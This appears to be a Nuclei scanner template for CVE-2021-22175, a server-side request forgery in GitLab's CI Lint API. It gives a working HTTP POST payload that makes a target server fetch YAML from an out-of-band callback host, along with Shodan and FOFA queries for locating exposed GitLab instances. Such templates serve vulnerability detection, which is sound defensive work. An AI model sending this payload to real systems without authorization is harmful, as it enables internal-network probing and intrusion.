id: CVE-2021-22175 info: name: GitLab CI Lint API - Server-Side Request Forgery author: 0x_Akoko severity: high description: | GitLab 10.5 and later contain a server-side request forgery caused by insecure handling of webhook requests, letting unauthenticated attackers exploit the server for arbitrary requests, exploit requires sending crafted webhook requests. impact: | Unauthenticated attackers can perform arbitrary requests on internal network, potentially leading to information disclosure or internal network compromise. remediation: | Update to the latest version of GitLab where the vulnerability is fixed. reference: - https://gitlab.com/gitlab-org/gitlab/-/issues/294178 - https://nvd.nist.gov/vuln/detail/CVE-2021-22175 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2021-22175 epss-score: 0.79978 epss-percentile: 0.99136 cwe-id: CWE-918 cpe: cpe:2.3:a:gitlab:gitlab:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: gitlab product: gitlab shodan-query: http.title:"GitLab" fofa-query: app="GitLab" tags: cve,cve2021,gitlab,ssrf,oast,vkev,kev http: - raw: - | POST /api/v4/ci/lint HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"include_merged_yaml":true,"content":"include:\n remote: 'http://{{interactsh-url}}/gitlab.yml'"} matchers: - type: dsl dsl: - 'contains_all(body, "Included file", "\"errors\":")' - 'contains(content_type, "application/json")' - 'contains(interactsh_protocol, "http")' - 'status_code == 200' condition: and # digest: 4a0a0047304502210085cb3aba4f9337fefd71ef7c4c6a26f9edbdd9142e1be032239ac2448ea3aa8f02201aa6fd4d82f40a1e0e5249ddd9967baf641be5840359e4fcddea02a7efbecea8:922c64590222798bb761d5b6d8e72950